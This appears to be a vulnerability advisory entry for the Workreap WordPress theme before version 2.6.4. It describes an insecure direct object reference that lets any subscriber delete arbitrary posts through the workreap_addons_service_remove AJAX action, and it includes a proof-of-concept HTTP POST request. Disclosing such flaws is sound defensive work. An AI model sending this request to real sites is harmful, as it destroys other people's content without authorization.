Workreap < 2.6.4 - Subscriber+ Arbitrary Posts Deletion via IDOR

2022-12-0200:00:00

Veshraj Ghimire

workreap

arbitrary posts deletion

idor

subscriber+

security vulnerability

0.001 Low

EPSS

Percentile

23.5%

JSON

The theme does not verify that an addon service belongs to the user issuing the request, or indeed that it is an addon service, when processing the workreap_addons_service_remove action, allowing any user to delete any post by knowing or guessing the id.

POST /testt/wp-admin/admin-ajax.php HTTP/2
Host: host
Cookie: [Subscriber+]
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 65

action=workreap_addons_service_remove&id=6191&security=295c6a26b2

0.001 Low

EPSS

Percentile

23.5%

JSON

Related for WPEX-ID:1C163987-FB53-43F7-BBFF-1C2D8C0D694C